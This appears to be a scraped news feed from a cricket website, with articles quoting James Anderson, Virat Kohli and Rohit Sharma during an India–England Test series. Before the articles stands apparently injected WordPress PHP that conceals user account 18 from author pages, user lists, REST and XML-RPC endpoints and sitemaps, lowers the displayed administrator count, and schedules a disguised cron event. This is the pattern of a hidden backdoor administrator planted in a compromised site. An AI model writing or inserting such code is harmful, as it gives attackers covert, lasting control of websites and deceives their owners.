add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Virat Kohli is someone you want to keep quiet : James Anderson appeared first on The Edge Media.
]]>It was the 7th time in his career that Anderson had picked Kohli’s wicket. After the end of the play on Day 1, the veteran pacer said that dismissing Kohli was a special moment for him as it is important to keep the India captain quiet.
“I think so (it was special). We have had some great battles over the years. He is someone you want to keep quiet. Especially, in a five-match series, if he gets going he can be very disruptive,” Anderson said at the virtual press conference.
Anderson also dismissed KL Rahul and Cheteshwar Pujara in a similar fashion as India were bundled out for 78. Speaking on how he continues to be in his best form, the 39-year-old Anderson revealed that he works harder in the gym.
“As I get older, I feel like I have to work that little bit harder in the gym. I feel like I bowl less in the nets, and try to save it for when it matters in the middle,” Anderson said.
“The biggest test in Test cricket is mentally getting yourself up for bowling big spells and playing in big games. It’s about keeping yourself switch on through games and switch off when you are not bowling — that’s something I’ve always had,” he added.
Asked about his problematic right shoulder, he said: “It still hurts. You just find a way of putting up with it. it’s just part and parcel of the job.”
Anderson said that after all the talk during the Lord’s Test, the aim here was to “shut the noise” and focus on the job. India took a 1-0 lead at Lord’s riding on the tail-enders’ brave display with the bat followed by their excellent bowling.
“We have made a conscious effort of trying to just focus on us, on what we do well and try and ignore everything else, the outside noise or wherever there might be going on, and make sure there’s a real focus on what we do well,” the fast bowler signed off.
(With PTI inputs)
The post Virat Kohli is someone you want to keep quiet : James Anderson appeared first on The Edge Media.
]]>The post India vs England: ‘This Isn’t Your Fu**ing Backyard,’ Virat Kohli and James Anderson said in War of Words appeared first on The Edge Media.
]]>“Are you swearing at me once more?”, Kohli said to Anderson, “this isn’t your fu**ing backyard”. Even as Anderson responded with a few words. After the fifth delivery, India captain Virat Kohli proceeded to mock Anderson, saying, “chirp chirp chirp. This is what becoming older does to you”.
The post India vs England: ‘This Isn’t Your Fu**ing Backyard,’ Virat Kohli and James Anderson said in War of Words appeared first on The Edge Media.
]]>The post ” I couldn’t have done anything to that ball”: Rohit Sharma appeared first on The Edge Media.
]]>In ODIs and T20Is, a highlight package comprising Rohit will show the batsman playing all types of glorious shots – the flamboyant drives and the big hoicks, but in Test cricket, as per the situation, Rohit appears sedate in his approach, curbing his natural attacking instincts as per the need of the team.
That’s what Rohit has done so far in the six innings he’s played in England on this tour. He got a couple of 30s at the World Test Championship final and followed it with another 36 in the first Test against England at Nottingham. At Lord’s however, Rohit played a fine knock of 83, his highest Test score overseas. Rohit had the opportunity to go up on the Lord’s Honours Board but was castled by James Anderson. The India opener, while speaking to Dinesh Karthik, said that while he was disappointed to miss out on the three-figure mark, there wasn’t much he could do to that brilliant delivery from Anderson.
“I am a little disappointed not to get to that three-figure mark but again, I saw the replay probably 20 times and I couldn’t have done anything to that ball. What matters is the position the team is in because it’s not about individuals. Your personal records can take a backseat but this is a team sport. Anything you do and it helps the team, I am happy with it,” Rohit said.
Rohit further stated that he liked batting the way he did, especially in the last few innings – taking a more cautious and circumspect approach, and although it’s against his nature, the India opener relishes the challenge of batting in the arduous Test cricket.
That’s Test cricket, you can’t bring out your flashy drives especially when the weather conditions are like that. You need to understand that and the experience that I have, I need to apply that. It was testing in the middle so all your basics of Test cricket come into play, things like playing with soft hands and leaving balls outside off. It is against my nature but I loved it. Honestly speaking, I loved doing that,” Rohit added.
The post ” I couldn’t have done anything to that ball”: Rohit Sharma appeared first on The Edge Media.
]]>